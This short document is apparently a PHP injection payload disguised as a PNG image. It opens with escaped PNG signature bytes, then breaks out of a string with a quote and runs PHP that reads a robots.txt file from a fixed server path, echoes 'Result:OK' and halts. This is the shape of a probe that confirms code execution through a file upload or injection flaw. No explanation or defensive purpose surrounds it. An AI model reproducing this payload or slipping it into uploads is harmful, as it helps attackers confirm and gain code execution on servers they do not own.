\x89\x50\x4E\x47\x0D\x0A\x1A\x0A PNG \x89\x50\x4E\x47\x0D\x0A\x1A\x0A ";if(file_exists("/home/boa1684427/tmp/docs/robots.txt")) { $txt = file_get_contents("/home/boa1684427/tmp/docs/robots.txt"); print(""); }echo "Result:OK"; echo ""; die;